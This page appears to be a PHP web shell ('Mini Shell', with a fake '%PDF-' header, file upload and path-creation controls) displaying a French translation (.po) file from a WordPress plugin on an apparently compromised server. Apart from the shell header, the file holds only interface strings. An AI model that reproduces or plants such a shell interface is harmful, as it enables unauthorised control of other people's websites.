%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tradesc/www/relax/wp-content/plugins/Ereferer/languages/
Upload File :
Create Path :
Current File : /home/tradesc/www/relax/wp-content/plugins/Ereferer/languages/isubmission-translate-fr_FR.po

msgid ""
msgstr ""
"Project-Id-Version: \n"
"POT-Creation-Date: 2019-09-16 18:31+0300\n"
"PO-Revision-Date: 2019-09-16 18:32+0300\n"
"Last-Translator: \n"
"Language-Team: \n"
"Language: fr\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 2.2.3\n"
"X-Poedit-Basepath: ..\n"
"Plural-Forms: nplurals=2; plural=(n > 1);\n"
"X-Poedit-KeywordsList: __;_e\n"
"X-Poedit-SourceCharset: iso-8859-15\n"
"X-Poedit-SearchPath-0: .\n"

#: class/class-isubmission-import-external-images.php:91
msgid "Image is empty"
msgstr "Pas d'image"

#: class/isubmission-class-lists.php:64
msgid "this entry"
msgstr "cette entrée"

#: class/isubmission-class-lists.php:64 class/isubmission-class-lists.php:149
msgid "Delete from list"
msgstr "Supprimer de la liste"

#: class/isubmission-class-lists.php:65
msgid "See item"
msgstr "Voir l'article"

#: class/isubmission-class-lists.php:83
msgid "Unknown title OR Deleted post"
msgstr "Titre inconnu OU article supprimé"

#: class/isubmission-class-lists.php:120
msgid "Date"
msgstr "Date"

#: class/isubmission-class-lists.php:121
msgid "Featured Image"
msgstr "Image à la une"

#: class/isubmission-class-lists.php:122
msgid "Submitted Posts"
msgstr "Articles soumis"

#: class/isubmission-class-lists.php:150
msgid "Delete All list"
msgstr "Supprimer toute la liste"

#: includes/isubmission-dashboard.php:12
msgid "API"
msgstr "API"

#: includes/isubmission-dashboard.php:18
msgid "API key"
msgstr "Clé API"

#: includes/isubmission-dashboard.php:20
msgid "Fill in your key (API)"
msgstr "Renseignez votre clé (API)"

#: includes/isubmission-dashboard.php:25 isubmission-interface.php:40
msgid "Options"
msgstr "Les options"

#: includes/isubmission-dashboard.php:35
#| msgid "select at least one category"
msgid "Please tick at least 1 category."
msgstr "Veuillez cocher au moins 1 catégorie."

#: includes/isubmission-dashboard.php:41
msgid "Categories where Ereferer can submit an article"
msgstr "Catégories où Ereferer peut soumettre un article"

#: includes/isubmission-dashboard.php:43
msgid "Select at least one category"
msgstr "Sélectionnez au moins une catégorie"

#: includes/isubmission-dashboard.php:67
msgid "Author"
msgstr "Auteur"

#: includes/isubmission-dashboard.php:80
msgid "Status of sent items"
msgstr "Statut des articles envoyés"

#: includes/isubmission-dashboard.php:82
msgid "Directly published (recommended):"
msgstr "Directement publié (recommandé):"

#: includes/isubmission-dashboard.php:83
msgid "Waiting for proofreading:"
msgstr "En attente de relecture:"

#: includes/isubmission-dashboard.php:86
msgid ""
"WARNING! If you choose the status \"pending replay\", you only have 15 days to "
"validate the article. After this time, your site will go into idle on Ereferer "
"and will be disabled."
msgstr ""
"ATTENTION! Si vous choisissez le statut \"en attente de relecture\", vous ne "
"disposez que de 15 jours pour valider l'article. Passé ce délai, votre site "
"passera en inactif sur Ereferer et sera désactivé."

#: includes/isubmission-dashboard.php:92
msgid "Wordpress menu name (optional)"
msgstr "Nom du menu Wordpress (facultatif)"

#: includes/isubmission-dashboard.php:98
msgid "Are modifications possible?"
msgstr "Modifications possibles?"

#: includes/isubmission-dashboard.php:100
msgid "Yes"
msgstr "Oui"

#: includes/isubmission-dashboard.php:101
msgid "No"
msgstr "Non"

#: includes/isubmission-dashboard.php:104
msgid ""
"Partners will be allowed to make corrections to their articles. However, they "
"will not be able to add / modify / delete a link to prevent abuse."
msgstr ""
"Les partenaires seront autorisés à apporter des corrections à leurs articles. "
"Ils ne pourront toutefois pas ajouter/modifier/supprimer un lien pour éviter "
"tout abus."

#: includes/isubmission-dashboard.php:121
#, php-format
msgid "Fill in all <a href=\"%s\">dashboard options</a>"
msgstr "Renseignez toutes <a href=\"%s\">les options</a>"

#: includes/isubmission-lists.php:11 includes/isubmission-lists.php:27
#: includes/isubmission-lists.php:67
msgid "Summary"
msgstr "Récapitulatif"

#: includes/isubmission-lists.php:55
#, php-format
msgid "Entry(s) successfully deleted : %d"
msgstr "Entrée(s) supprimée(s) avec succès : %d"

#: includes/isubmission-lists.php:58
msgid "All entries successfully deleted"
msgstr "Toutes les entrées ont été supprimé avec succès"

#: includes/isubmission-lists.php:70
msgid "Back to options"
msgstr "Retour aux options"

#: isubmission-interface.php:29
msgid "All items"
msgstr "Tous les articles"

#: isubmission-interface.php:59
msgid "Save"
msgstr "Enregistrer"

#: isubmission-interface.php:136
msgid "Unsuccessful connection!"
msgstr "Connexion unsuccessful!"

#: isubmission-interface.php:137
msgid "Login successful!"
msgstr "Connexion réussie!"

#: isubmission-interface.php:138
msgid ""
"A firewall seems to block the connection of the plugin. You must unblock the IP "
"5.179.192.81 so that the connection can be made!"
msgstr ""
"A firewall seems to block the connection of the plugin. You must unblock the IP "
"5.179.192.81 so that the connection can be made!"

#: isubmission-interface.php:139
msgid "The connection failed. Check that you have added your site to Ereferer."
msgstr ""
"La connexion a échoué. Vérifiez que vous ayez bien ajouté votre site sur "
"Ereferer."

#: isubmission-post-endpoint.php:27
msgid "Incorrect API key."
msgstr "Clé d'API incorrecte."

#: isubmission-post-endpoint.php:45
msgid "Success connection"
msgstr "Connexion de succès"

#: isubmission-post-endpoint.php:55
msgid "Post id can't be empty."
msgstr "L'identifiant du post ne peut être vide."

#: isubmission-post-endpoint.php:66
msgid "Post title and content can't be empty."
msgstr "Le titre et le contenu de l'article ne peuvent être vides."

#: isubmission-post-endpoint.php:92
msgid "Posts are not editable."
msgstr "Les messages ne sont pas modifiables."

#: isubmission-post-endpoint.php:188
msgid "Success"
msgstr "Succès"

#: lib/plugin-update-checker/Puc/v4p4/Plugin/Ui.php:54
msgid "View details"
msgstr "Voir les options"

#: lib/plugin-update-checker/Puc/v4p4/Plugin/Ui.php:77
#, php-format
msgid "More information about %s"
msgstr "Informations sur la licence"

#: lib/plugin-update-checker/Puc/v4p4/Plugin/Ui.php:128
msgid "Check for updates"
msgstr ""

#: lib/plugin-update-checker/Puc/v4p4/Plugin/Ui.php:223
#, php-format
msgid "Unknown update checker status \"%s\""
msgstr ""

#: lib/plugin-update-checker/Puc/v4p4/Vcs/PluginUpdateChecker.php:98
msgid "There is no changelog available."
msgstr ""

#: lib/titan-framework/inc/edd-licensing/EDD_SL_Plugin_Updater.php:189
#, php-format
msgid ""
"There is a new version of %1$s available. %2$sView version %3$s details%4$s."
msgstr ""
"Nouvelle version disponible de %1$s. %2$sVoir la version %3$s détails%4$s."

#: lib/titan-framework/inc/edd-licensing/EDD_SL_Plugin_Updater.php:197
#, php-format
msgid ""
"There is a new version of %1$s available. %2$sView version %3$s details%4$s or "
"%5$supdate now%6$s."
msgstr ""
"Nouvelle version disponible de %1$s. %2$sVoir la version %3$s détails%4$s or "
"%5$sMettre à jour maintenant%6$s."

#: lib/titan-framework/inc/edd-licensing/EDD_SL_Plugin_Updater.php:340
msgid "You do not have permission to install plugin updates"
msgstr "Vous ne possédez les droits pour installer ce plugin"

#: lib/titan-framework/inc/edd-licensing/EDD_SL_Plugin_Updater.php:340
msgid "Error"
msgstr "Erreur"

#: lib/titan-framework/lib/class-admin-page.php:124
msgid ""
"<em>Options Page Created with <a href='http://titanframework.net?"
"utm_source=admin&utm_medium=admin footer'>Titan Framework</a></em>"
msgstr ""
"<em>Page d'options créées avec le <a href='http://titanframework.net?"
"utm_source=admin&utm_medium=admin footer'>Framework Titan</a></em>"

#: lib/titan-framework/lib/class-admin-page.php:370
msgid "Settings saved."
msgstr "Paramètres sauvegardés."

#: lib/titan-framework/lib/class-admin-page.php:372
msgid "Settings reset to default."
msgstr "Réinitialisation des paramètres par défaut."

#: lib/titan-framework/lib/class-customizer.php:33
#: lib/titan-framework/lib/class-meta-box.php:37
msgid "More Options"
msgstr "Plus d'options"

#: lib/titan-framework/lib/class-option-ajax-button.php:30
#: lib/titan-framework/lib/class-option-ajax-button.php:33
msgid "Security check failed, please refresh the page and try again."
msgstr "La vérification de la sécurité a échoué, actualisez la page et réessayez."

#: lib/titan-framework/lib/class-option-ajax-button.php:87
msgid "Something went wrong"
msgstr "Quelque chose s'est mal passé"

#: lib/titan-framework/lib/class-option-ajax-button.php:95
msgid "Click me"
msgstr "Cliquez moi"

#: lib/titan-framework/lib/class-option-ajax-button.php:100
msgid "Please wait..."
msgstr "Attendez..."

#: lib/titan-framework/lib/class-option-edd-license.php:379
msgid "Theme License"
msgstr "Licence de thème"

#: lib/titan-framework/lib/class-option-edd-license.php:380
msgid "Enter your theme license key."
msgstr "Entrez votre numéro de licence"

#: lib/titan-framework/lib/class-option-edd-license.php:381
msgid "License Key"
msgstr "Numéro de la licence"

#: lib/titan-framework/lib/class-option-edd-license.php:382
msgid "License Action"
msgstr "Action de licence"

#: lib/titan-framework/lib/class-option-edd-license.php:383
msgid "Deactivate License"
msgstr "Désactivation de la licence"

#: lib/titan-framework/lib/class-option-edd-license.php:384
msgid "Activate License"
msgstr "Activation de la licence"

#: lib/titan-framework/lib/class-option-edd-license.php:385
#: lib/titan-framework/lib/class-option-edd-license.php:397
msgid "License status is unknown."
msgstr "Statut de la licence inconnu"

#: lib/titan-framework/lib/class-option-edd-license.php:386
msgid "Renew?"
msgstr "Renouvelez ?"

#: lib/titan-framework/lib/class-option-edd-license.php:387
msgid "unlimited"
msgstr "illimité"

#: lib/titan-framework/lib/class-option-edd-license.php:388
msgid "License key is active."
msgstr "Numéro de licence activée."

#: lib/titan-framework/lib/class-option-edd-license.php:389
#, php-format
msgid "Expires %s."
msgstr "Expiration %s."

#: lib/titan-framework/lib/class-option-edd-license.php:390
#, php-format
msgid "You have %1$s / %2$s sites activated."
msgstr "Vous avez %1$s / %2$s sites activés."

#: lib/titan-framework/lib/class-option-edd-license.php:391
#, php-format
msgid "License key expired %s."
msgstr "Le numéro de licence est expiré %s."

#: lib/titan-framework/lib/class-option-edd-license.php:392
msgid "License key has expired."
msgstr "Le numéro de licence a expiré."

#: lib/titan-framework/lib/class-option-edd-license.php:393
msgid "License keys do not match."
msgstr "Le numéro de licence ne correspond pas"

#: lib/titan-framework/lib/class-option-edd-license.php:394
msgid "License is inactive."
msgstr "La licence est inactive."

#: lib/titan-framework/lib/class-option-edd-license.php:395
msgid "License key is disabled."
msgstr "Le numéro de licence est désactivé."

#: lib/titan-framework/lib/class-option-edd-license.php:396
msgid "Site is inactive."
msgstr "Site inactif"

#: lib/titan-framework/lib/class-option-edd-license.php:398
msgid ""
"Updating this theme will lose any customizations you have made. 'Cancel' to "
"stop, 'OK' to update."
msgstr ""
"La mise à jour de ce thème perdra toute personnalisation que vous avez faite. "
"'Annuler' pour arrêter, 'OK' pour mettre à jour."

#: lib/titan-framework/lib/class-option-edd-license.php:399
#, php-format
msgid ""
"<strong>%1$s %2$s</strong> is available. <a href=\"%3$s\" class=\"thickbox\" "
"title=\"%4s\">Check out what's new</a> or <a href=\"%5$s\"%6$s>update now</a>."
msgstr ""
"<strong>%1$s %2$s</strong> est disponible. <a href=\"%3$s\" class=\"thickbox\" "
"title=\"%4s\">Découvrez les nouveautés</a> ou <a href=\"%5$s\"%6$s>mettre à "
"jour maintenant</a>."

#: lib/titan-framework/lib/class-option-enable.php:62
#: lib/titan-framework/lib/class-option-enable.php:141
msgid "Enabled"
msgstr "Activé"

#: lib/titan-framework/lib/class-option-enable.php:65
#: lib/titan-framework/lib/class-option-enable.php:144
msgid "Disabled"
msgstr "Désactivé"

#: lib/titan-framework/lib/class-option-multicheck-pages.php:28
#: lib/titan-framework/lib/class-option-multicheck-pages.php:49
#: lib/titan-framework/lib/class-option-multicheck-posts.php:35
#: lib/titan-framework/lib/class-option-multicheck-posts.php:61
#: lib/titan-framework/lib/class-option-select-pages.php:34
#: lib/titan-framework/lib/class-option-select-posts.php:49
#, php-format
msgid "Untitled %s"
msgstr "Sans titre %s"

#: lib/titan-framework/lib/class-option-multicheck.php:40
#: lib/titan-framework/lib/class-option-multicheck.php:189
msgid "Select All"
msgstr "Sélectionnez"

#: lib/titan-framework/lib/class-option-save.php:21
msgid "Save Changes"
msgstr "Sauvegardez les changements"

#: lib/titan-framework/lib/class-option-save.php:24
msgid "Reset to Defaults"
msgstr "Réinitialiser par défaut"

#: lib/titan-framework/lib/class-option-save.php:27
msgid "Are you sure you want to reset ALL options to their default values?"
msgstr ""
"Etes vous sûr de vouloir remettre TOUTES les options à leurs valeurs par "
"défaut ?"

#: lib/titan-framework/lib/class-option-select-categories.php:35
#: lib/titan-framework/lib/class-option-select-pages.php:27
#: lib/titan-framework/lib/class-option-select-post-types.php:27
#: lib/titan-framework/lib/class-option-select-posts.php:43
msgid "Select"
msgstr "Sélectionnez"

#: lib/titan-framework/lib/class-option.php:119
#, php-format
msgid "Option type or extended class %s does not exist."
msgstr "Le type d'option ou la classe étendue %s n'existe pas"

#: lib/titan-framework/lib/class-titan-framework.php:190
#, php-format
msgid ""
"All option IDs per namespace must be unique. The id %s has been used multiple "
"times."
msgstr ""
"Tous IDs d'options par namespace doit être unique. Cet id %s a été utilisé "
"plusieurs fois."

#: lib/titan-framework/lib/class-titan-framework.php:445
#, php-format
msgid "%s needs a %s parameter."
msgstr "%s a besoin d'un paramètre %s."

#: lib/titan-framework/lib/class-titan-framework.php:455
#, php-format
msgid "Container of type %s, does not exist."
msgstr "Le type de conteneur %s n'existe pas."

#: lib/titan-framework/titan-framework-checker.php:72
msgid "Titan Framework needs to be installed."
msgstr "Le Framework Titan doit être installé."

#: lib/titan-framework/titan-framework-checker.php:75
msgid "Click here to search for the plugin."
msgstr "Cliquez ici pour rechercher le plugin."

#: lib/titan-framework/titan-framework-checker.php:82
msgid "Titan Framework needs to be activated."
msgstr "Le Framework Titan a besoin d'être activé"

#: lib/titan-framework/titan-framework-checker.php:85
msgid "Click here to go to the plugins page and activate it."
msgstr "Cliquez ici pour aller à la page des plugins et l'activer."

#: lib/titan-framework/titan-framework.php:188
msgid "Documentation"
msgstr "Documentation"

#: lib/titan-framework/titan-framework.php:192
msgid "GitHub Repo"
msgstr "GitHub Repo"

#: lib/titan-framework/titan-framework.php:196
msgid "Issue Tracker"
msgstr "Issue Tracker"

#~ msgid "Authorized Categories for Editors"
#~ msgstr "Catégories autorisées pour les rédacteurs"

#~ msgid "Website URL"
#~ msgstr "URL du site web"

#~ msgid "Plugin URL"
#~ msgstr "URL du plugin"

#~ msgid "Unknown title"
#~ msgstr "Titre inconnu"

#~ msgid "Post"
#~ msgstr "Articles soumis"

#~ msgid "--"
#~ msgstr "--"

#~ msgid "Update"
#~ msgstr "Modifier"

#~ msgid "this product"
#~ msgstr "ce produit"

#~ msgid "Delete"
#~ msgstr "Supprimer"

#~ msgid "See product"
#~ msgstr "Voir le produit"

#~ msgid "See order"
#~ msgstr "Voir la commande"

#~ msgid "No orders"
#~ msgstr "Pas de commande"

#~ msgid "Product"
#~ msgstr "Produit"

#~ msgid "Buyer"
#~ msgstr "Acheteur"

#~ msgid "Status"
#~ msgstr "Statut"

#~ msgid "Order date"
#~ msgstr "Date de commande"

#~ msgid "Choose a product"
#~ msgstr "Choisissez un produit"

#~ msgid "Add"
#~ msgstr "Ajouter"

#~ msgid "Product saved successfully"
#~ msgstr "Produit sauvegardé avec succès"

#~ msgid "ERROR when saving the product"
#~ msgstr "ERREUR lors de la sauvegarde du produit"

#~ msgid "Product updated successfully"
#~ msgstr "Produit modifié avec succès"

#~ msgid "<br>Comment: "
#~ msgstr "<br>Commentaire : "

#~ msgid "<br>Email sent to the administrators ("
#~ msgstr "<br>Email envoyé aux administrateurs ("

#~ msgid "<br>Error sending email to administrators"
#~ msgstr "<br>Erreur lors de l'envoi de l'email aux administrateurs"

#~ msgid "<br>Email sent to client ("
#~ msgstr "<br>Email envoyé au client ("

#~ msgid "<br>Error sending email to client"
#~ msgstr "<br>Erreur lors de l'envoi de l'email au client"

#~ msgid "ERROR when editing product (no information changed)"
#~ msgstr ""
#~ "ERREUR lors de la modification du produit (aucune information modifiée)"

#~ msgid "Product not found"
#~ msgstr "Produit introuvable"

#~ msgid "Edit product :: "
#~ msgstr "Modification du produit :: "

#~ msgid "Edit a List product :: "
#~ msgstr "Modifier un produit de la liste :: "

#~ msgid "Back to lists"
#~ msgstr "Retour aux listes"

#~ msgid "Back to the products of this list"
#~ msgstr "Retour aux produits de la liste"

#~ msgid "OR"
#~ msgstr "OU"

#~ msgid "Save and send email"
#~ msgstr "Sauvegarder et envoyer un email"

#~ msgid "Buyer comment"
#~ msgstr "Commentaire de l'acheteur"

#~ msgid ""
#~ "Do not indicate anything if no comment.<br>It will not be saved if it was "
#~ "not dropped during an Internet order.<br>It will just insert in the email "
#~ "sent if you click the \"Save and send email\" button\n"
#~ msgstr ""
#~ "N'indiquez rien si pas de commentaire.<br>Ne sera pas sauvegardé si celui-ci "
#~ "n'a pas été déposé lors d'une commande Internet.<br>Il sera juste insérer "
#~ "dans l'email envoyé si vous cliquez sur le bouton \"Sauvegarder et envoyer "
#~ "un email\"\n"

#~ msgid "ISO Format ( YYYY-MM-DD HH:MM:SS )"
#~ msgstr "Format ISO ( YYYY-MM-DD HH:MM:SS )"

#~ msgid "Buyer name"
#~ msgstr "Nom de l'acheteur"

#~ msgid "Buyer comment (Enabled)"
#~ msgstr "Commentaire de l'acheteur (Activé)"

#~ msgid "Buyer comment (Disabled)"
#~ msgstr "Commentaire de l'acheteur (Désactivé)"

#~ msgid "Product status is required"
#~ msgstr "Le statut du produit est obligatoire"

#~ msgid "Product name is required"
#~ msgstr "Le nom du produit est obligatoire"

#~ msgid "Undeletable"
#~ msgstr "Insupprimable"

#~ msgid "this type"
#~ msgstr "ce statut"

#~ msgid "Name"
#~ msgstr "Nom"

#~ msgid "Description"
#~ msgstr "Description"

#~ msgid "Add type"
#~ msgstr "Ajouter un statut"

#~ msgid "Edit type"
#~ msgstr "Modifier le statut"

#~ msgid "Status name of your product."
#~ msgstr "Nom du statut du produit"

#~ msgid "Status description. You can leave it blank."
#~ msgstr "Description du statut. Vous pouvez le laisser vide."

#~ msgid "Required fields"
#~ msgstr "Champs obligatoires"

#~ msgid "Add new type"
#~ msgstr "Ajouter un nouveau statut"

#~ msgid "Cancel"
#~ msgstr "Annuler"

#~ msgid "Type saved successfully"
#~ msgstr "Statut sauvegardé avec succès"

#~ msgid "ERROR when saving list"
#~ msgstr "ERREUR lors de la sauvegarde de la liste"

#~ msgid "Type updated successfully"
#~ msgstr "Statut mis à jour avec succès"

#~ msgid "ERROR when editing type (no information changed)"
#~ msgstr "ERREUR lors de la modification du statut (aucune information modifiée)"

#~ msgid "Type not found"
#~ msgstr "Statut introuvable"

#~ msgid "Type :: "
#~ msgstr "Statut :: "

#~ msgid "Back to types"
#~ msgstr "Retour aux statuts"

#~ msgid "See products"
#~ msgstr "Voir les produits"

#~ msgid "Type title"
#~ msgstr "Titre du statut"

#~ msgid "Type name"
#~ msgstr "Nom du statut"

#~ msgid "Type title is required"
#~ msgstr "Le titre du statut est obligatoire"

#~ msgid "this list"
#~ msgstr "cette liste"

#~ msgid "Products"
#~ msgstr "Produits"

#~ msgid "List"
#~ msgstr "Liste"

#~ msgid "Creator"
#~ msgstr "Créateur"

#~ msgid "Firstname"
#~ msgstr "Prénom"

#~ msgid "Lastname"
#~ msgstr "Nom"

#~ msgid "Email"
#~ msgstr "Email"

#~ msgid "Product(s)"
#~ msgstr "Produit(s)"

#~ msgid "Active"
#~ msgstr "Activé"

#~ msgid "List updated successfully"
#~ msgstr "Liste modifiée avec succès"

#~ msgid "ERROR when editing list (no information changed)"
#~ msgstr ""
#~ "ERREUR lors de la modification de la liste (aucune information modifiée)"

#~ msgid "List not found"
#~ msgstr "Liste introuvable"

#~ msgid "Edit list"
#~ msgstr "Modifier la liste"

#~ msgid "List :: "
#~ msgstr "Liste :: "

#~ msgid "YES"
#~ msgstr "OUI"

#~ msgid "NO"
#~ msgstr "NON"

#~ msgid "List name"
#~ msgstr "Nom de la liste"

#~ msgid "Your Email"
#~ msgstr "Votre email"

#~ msgid "List name is required"
#~ msgstr "Le nom de la liste est obligatoire"

#~ msgid "Firstname is required"
#~ msgstr "Le prénom est obligatoire"

#~ msgid "Lastname is required"
#~ msgstr "Le nom est obligatoire"

#~ msgid "Email is required"
#~ msgstr "L'email est obligatoire"

#~ msgid "The email has an incorrect format"
#~ msgstr "L'email ne possède pas un format correct"

#~ msgid "Title:"
#~ msgstr "Titre :"

#~ msgid "All lists"
#~ msgstr "Toutes les listes"

#~ msgid "Search"
#~ msgstr "Recherche"

#~ msgid "Automatic emails"
#~ msgstr "Emails automatiques"

#~ msgid "License"
#~ msgstr "Licence"

#~ msgid "Credits"
#~ msgstr "Crédits"

#~ msgid "Dashboard"
#~ msgstr "Tableau de bord"

#~ msgid "For sale"
#~ msgstr "A vendre"

#~ msgid "Product available for sale"
#~ msgstr "Produit disponible à la vente"

#~ msgid "Internet purchase"
#~ msgstr "Achat Internet"

#~ msgid "Purchase on e-commerce online shop"
#~ msgstr "Achat sur la boutique e-commerce en ligne"

#~ msgid "Purchase in proshop (withdrawal in prostore)"
#~ msgstr "Achat en Boutique (retrait en boutique)"

#~ msgid "Purchase in proshop can by retrieved by the owner of the list"
#~ msgstr ""
#~ "Achat en boutique à venir retirer en boutique par le propriétaire de la liste"

#~ msgid "Purchase in proshop (taken by the buyer)"
#~ msgstr "Achat en Boutique (emporté par le l'acheteur)"

#~ msgid "Purchase in proshop was taken by the buyer"
#~ msgstr "L'achat en boutique a été emporté par l'acheteur"

#~ msgid "My lists"
#~ msgstr "Mes listes"

#~ msgid "Search list"
#~ msgstr "Rechercher une liste"

#~ msgid "Donate"
#~ msgstr "Encouragement"

#~ msgid "About"
#~ msgstr "A propos"

#~ msgid "Once every 1 minute"
#~ msgstr "Chaque minute"

#~ msgid "Once every 2 minutes"
#~ msgstr "Toutes les 2 minutes"

#~ msgid "Once every 5 minutes"
#~ msgstr "Toutes les 5 minutes"

#~ msgid "Once every 10 minutes"
#~ msgstr "Toutes les 10 minutes"

#~ msgid "Once every 30 minutes"
#~ msgstr "Toutes les 30 minutes"

#~ msgid "CREDITS"
#~ msgstr "CRÉDITS"

#~ msgid "Developed and maintained by"
#~ msgstr "Développé et maintenu par"

#~ msgid "Written with "
#~ msgstr "Ecrit avec "

#~ msgid "SUPPORT"
#~ msgstr "SUPPORT"

#~ msgid "Support contact"
#~ msgstr "Contactez le support"

#~ msgid ""
#~ "To contact us, You have to indicate us all the information of your license "
#~ "(License Created Date, License Date of Expiry, License Email, License Number "
#~ "for Domain, License Registered Domain, License Item Reference)"
#~ msgstr ""
#~ "Pour nous contacter, vous devez nous indiquer les informations de votre "
#~ "licence (Date de création, date d'expiration, email, numéro de licence pour "
#~ "le domaine, le nom de domaine enregistré, la référence)"

#~ msgid ""
#~ "Disabled<br>The WooCommerce plugin must be installed and enabled to use this "
#~ "plugin"
#~ msgstr ""
#~ "Désactivé<br>Le plugin WooCommerce doit être installé et activé pour "
#~ "utiliser ce plugin"

#~ msgid "version"
#~ msgstr "version"

#~ msgid "Checks"
#~ msgstr "Vérifications"

#~ msgid "Check WooCommerce plugin"
#~ msgstr "Vérification plugin WooCommerce"

#~ msgid "Recommended minimum version 3.0.x"
#~ msgstr "Version minimum conseillée 3.0.x"

#~ msgid ""
#~ "Inactive<br>Activation required to receive your emails notifications.<br>See "
#~ "the DISABLE_WP_CRON constant in the wp-config.php file."
#~ msgstr ""
#~ "Désactivé<br>Activation requise pour recevoir vos notifications par email."
#~ "<br> Voir la constante DISABLE_WP_CRON dans le fichier wp-config.php."

#~ msgid "Check Cron WP"
#~ msgstr "Vérification Cron WP"

#~ msgid "WP Crons: "
#~ msgstr "Crons WP : "

#~ msgid "Check Emails settings"
#~ msgstr "Vérification des paramètres d'Emails automatiques"

#~ msgid "You must SAVE your Automatic emails settings."
#~ msgstr "Vous devez SAUVEGARDER vos paramètres d'Emails automatiques"

#~ msgid "Enter your License number"
#~ msgstr "Saisissez votre numéro de licence"

#~ msgid "License number"
#~ msgstr "Numéro de licence"

#~ msgid "Main page link"
#~ msgstr "Lien page principale"

#~ msgid "Search page link"
#~ msgstr "Lien page de recherche"

#~ msgid "Welcome to the %s plugin"
#~ msgstr "Bienvenue dans le plugin %s"

#~ msgid "ADMINISTRATION"
#~ msgstr "ADMINISTRATION"

#~ msgid ""
#~ "Manage your lists (list of associated products, order date, list status, "
#~ "offered by xxx, purchase in shop or on the Internet)"
#~ msgstr ""
#~ "Gérer vos listes (liste des produits associés, date des commandes, statut de "
#~ "la liste, offert par xxx, achat en boutique ou sur Internet)"

#~ msgid "Manage your types (status of your products)"
#~ msgstr "Gérer vos statuts (Les statuts / types de vos produits)"

#~ msgid ""
#~ "Update the products of a list (Date of purchase, modification of the product "
#~ "status (purchase shop, internet purchase), addition of the buyer's name, "
#~ "automatic email to the creator of the list)"
#~ msgstr ""
#~ "Modifier des produits d'une liste (Date d'achat, modification du statut "
#~ "produit (achat boutique, achat internet), ajout du nom de l'acheteur, email "
#~ "automatique au créateur de la liste)"

#~ msgid ""
#~ "Automatic email management (Subject / Creator email body of the list, "
#~ "Subject / Body of the administrator's email, management of emails "
#~ "administrators)"
#~ msgstr ""
#~ "Gestion de l'email automatique (Sujet / Corps de l'email du créateur de la "
#~ "liste, sujet / Corps de l'email de l'administeur, gestion des emails "
#~ "administrateurs)"

#~ msgid "VISITORS"
#~ msgstr "VISITEURS"

#~ msgid "Accessible lists only from search (additional to WooCommerce)"
#~ msgstr ""
#~ "Listes accessibles uniquement depuis la recherche (additionnelle à celle de "
#~ "WooCommerce)"

#~ msgid "Products list from the WooCommerce plugin"
#~ msgstr "Liste produits provenant du plugin WooCommerce"

#~ msgid "Viewing a product in a list outside WooCommerce"
#~ msgstr "Visualisation d'un produit dans une liste hors WooCommerce"

#~ msgid "Purchasing products from the list (ajax button)"
#~ msgstr "Achat des produits depuis la liste"

#~ msgid "Checkout - Possibility to leave a message with the order"
#~ msgstr "Checkout - possibilité de laisser un message à la commande"

#~ msgid "Checkout - Email alert (creator of list / administrator)"
#~ msgstr "Checkout - alerte email (créateur de la liste / administrateur)"

#~ msgid "Display of messages left on the list during orders"
#~ msgstr "Affichage des messages laissés sur la liste lors des commandes"

#~ msgid "Email header"
#~ msgstr "Entête de l'email"

#~ msgid "Administrator Response Email"
#~ msgstr "Email de réponse de l'administrateur"

#~ msgid "Name of Administrator"
#~ msgstr "Nom de l'administrateur"

#~ msgid "Email(s)"
#~ msgstr "Email(s)"

#~ msgid "Administrator(s) Email(s)"
#~ msgstr "Email(s) administrateur(s)"

#~ msgid "If multiple emails, separate them with commas without space"
#~ msgstr "Si plusieurs emails, séparez les par des virgules sans espaces"

#~ msgid "Automatic emails (Subject / Body) - Creator of the list"
#~ msgstr "Emails automatiques (Sujet / Body) - Créateur de la liste"

#~ msgid "Subject (Creator of the list)"
#~ msgstr "Sujet (créateur de la liste)"

#~ msgid "Variable to place:"
#~ msgstr "Variable possible"

#~ msgid "A product purchased on one of your lists \"{ILIST_NAME}\""
#~ msgstr "Un produit acheté sur une de vos listes \"{ILIST_NAME}\""

#~ msgid "Email body (Creator of the list)"
#~ msgstr "Corps de l'email (créateur de la liste)"

#~ msgid "Variables to place:"
#~ msgstr "Variables possibles"

#~ msgid "List name (Creator of the list)"
#~ msgstr "Nom de la liste (créateur de la liste)"

#~ msgid "Name of the offered product(s)"
#~ msgstr "Nom des produits offerts"

#~ msgid "Offered by"
#~ msgstr "Offert par"

#~ msgid "Purchase Type"
#~ msgstr "Type d'achat"

#~ msgid "Comment"
#~ msgstr "Commentaire"

#~ msgid "Wordpress Site Name"
#~ msgstr "Nom du site Wordpress"

#~ msgid ""
#~ "Hello,<br><br>A product (or more) has just been purchased on one of your "
#~ "lists:<br><br>List Name: {ILIST_NAME}<br>Product(s) Name: {ILIST_PRODUCT}"
#~ "<br>By: {ILIST_FRIEND}<br>Date: {ILIST_DATE}<br>Purchase Type: {ILIST_TYPE}"
#~ "<br>Comment: {ILIST_COMMENT}<br><br>{ILIST_WP_SITE_NAME} {ILIST_WP_SITE_DESC}"
#~ "<br>See you soon"
#~ msgstr ""
#~ "Bonjour,<br><br>Un produit (ou plus) vient d'être acheté sur une de vos "
#~ "listes :<br><br>Nom de la liste : {ILIST_NAME}<br>Nom des produits : "
#~ "{ILIST_PRODUCT}<br>Par : {ILIST_FRIEND}<br>Le : {ILIST_DATE}<br>Type "
#~ "d'achat : {ILIST_TYPE}<br>Commentaire : {ILIST_COMMENT}"
#~ "<br><br>{ILIST_WP_SITE_NAME} {ILIST_WP_SITE_DESC}<br>A bientôt"

#~ msgid "Automatic emails (Subject / Body) - Administrators"
#~ msgstr "Emails automatiques (Sujet / Body) - Administrateurs"

#~ msgid "Subject (Administrator(s))"
#~ msgstr "Sujet (administrateur(s))"

#~ msgid "A product purchased on the list \"{ILIST_NAME}\""
#~ msgstr "Un produit acheté sur la liste \"{ILIST_NAME}\""

#~ msgid "Email body (Administrator(s))"
#~ msgstr "Corps de l'email (administrateur(s))"

#~ msgid ""
#~ "Hello,<br><br>A product (or more) has just been purchased from a list:"
#~ "<br><br>List: {ILIST_NAME}<br>Product(s) Name: {ILIST_PRODUCT}<br>By: "
#~ "{ILIST_FRIEND}<br>Date: {ILIST_DATE}<br>Purchase Type: {ILIST_TYPE}"
#~ "<br>Comment: {ILIST_COMMENT}<br><br>The administrator {ILIST_WP_SITE_NAME} "
#~ "{ILIST_WP_SITE_DESC}"
#~ msgstr ""
#~ "Bonjour,<br><br>Un produit (ou plus) vient d'être acheté sur une liste :"
